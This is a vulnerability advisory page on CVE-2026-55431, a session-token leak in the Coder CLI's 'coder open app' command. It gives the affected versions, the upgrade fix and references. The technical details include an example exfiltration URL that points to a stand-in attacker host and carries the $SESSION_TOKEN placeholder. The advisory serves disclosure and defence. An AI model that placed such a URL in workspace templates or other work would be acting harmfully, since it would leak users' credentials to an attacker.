# CVE-2026-55431: Coder session token exfiltration in CLI via external app URLs

Source: https://junglewise.ai/threats/cve-2026-55431-coder-session-token-exfiltration-in-cli-via-external-app-urls  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-07-08. Updated: 2026-07-08  
License: CC BY 4.0 with a link back

CVE-2026-55431 · Severity: high · CVSS 7.7 · Published 2026-07-08

Coder is a platform used by organizations to manage remote development environments. A security flaw in the Coder command-line tool could allow a malicious workspace template author to steal a user's session token. If a user opens a specially crafted application link within a compromised workspace, their login credentials could be sent to an attacker, potentially leading to unauthorized account access.

Technologies: [Coder](https://junglewise.ai/threats/technologies/coder), [github.com/coder/coder (Go)](https://junglewise.ai/threats/technologies/github-com-coder-coder), [github.com/coder/coder/v2 (Go)](https://junglewise.ai/threats/technologies/github-com-coder-coder-v2). Vendors: [Coder](https://junglewise.ai/threats/vendors/coder), [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2026-55431 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-55431 being exploited in the wild.

**How severe is CVE-2026-55431?** High severity, with a CVSS score of 7.7, published 8 July 2026.

**Which products and versions are affected?** Coder < 2.29.17, >= 2.30.0 < 2.32.7, >= 2.33.0 < 2.33.8, >= 2.34.0 < 2.34.2; github.com/coder/coder (Go) SEMVER:introduced=0; github.com/coder/coder/v2 (Go) SEMVER:introduced=0,fixed=2.29.17,introduced=2.30.0,fixed=2.32.7,introduced=2.33.0,fixed=2.33.8,introduced=2.34.0,fixed=2.34.2, SEMVER:introduced=2.34.0,fixed=2.34.2.

**Is there a fix for CVE-2026-55431?** Yes. github.com/coder/coder/v2 (Go): upgrade to 2.34.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-55431 attacked?** It is attacked over the network, in a network appliance.

**Am I affected by CVE-2026-55431?** Check whether you run Coder, github.com/coder/coder (Go) or github.com/coder/coder/v2 (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- github.com/coder/coder/v2 (Go): upgrade to 2.34.2 or later

  ```sh
  go get github.com/coder/coder/v2@v2.34.2
  ```


## Technical details

A vulnerability exists in the Coder CLI's 'coder open app' command due to insufficient validation of external workspace-app URLs. The CLI automatically replaces the '$SESSION_TOKEN' placeholder with the user's actual session token before passing the URL to the operating system's default handler. Because the CLI fails to validate the URL scheme or host, a malicious template author can define an external app URL pointing to an attacker-controlled server (e.g., https://attacker.com/?t=$SESSION_TOKEN). If a victim executes the command against such a workspace, their session token is exfiltrated. The fix introduces a URL-scheme allowlist and restricts token substitution to trusted destinations.

## Affected products

- Coder Coder < 2.29.17, >= 2.30.0 < 2.32.7, >= 2.33.0 < 2.33.8, >= 2.34.0 < 2.34.2

## Identifiers

- CVE-2026-55431
- GHSA-v54h-cp2w-9x4g
- GO-2026-5924

## Timeline

- 2026-06-11: patched: Fix merged into main branch
- 2026-07-08: disclosed: CVE published

## References

- [https://github.com/coder/coder/pull/26146](https://github.com/coder/coder/pull/26146)
- [https://github.com/coder/coder/releases/tag/v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17)
- [https://github.com/coder/coder/releases/tag/v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7)
- [https://github.com/coder/coder/releases/tag/v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8)
- [https://github.com/coder/coder/releases/tag/v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2)
- [https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g](https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g)

## Related threats

- [Coder AI Gateway encoded path traversal](https://junglewise.ai/threats/cve-2026-121967-coder-2-28-0-before-2-29-22-2-30-0-before-2-34-13-2-35-0-before)
- [Coder missing audience validation in GCP instance-identity endpoint](https://junglewise.ai/threats/cve-2026-118687-coder-before-2-29-21-2-30-0-before-2-34-12-2-35-0-before-2-35-9)
- [Coder open redirect in workspace app proxy](https://junglewise.ai/threats/cve-2026-111931-coder-from-2-0-0-before-2-34-8-contains-an-open-redirect)
- [Coder workspace ACL endpoint authorization bypass](https://junglewise.ai/threats/cve-2026-111930-coder-from-2-26-0-before-2-34-8-contains-an-incorrect)
- [Coder provisioner daemon authorization bypass in DownloadFile](https://junglewise.ai/threats/cve-2026-111929-coder-from-2-30-0-before-2-34-8-contains-an-authorization-bypass)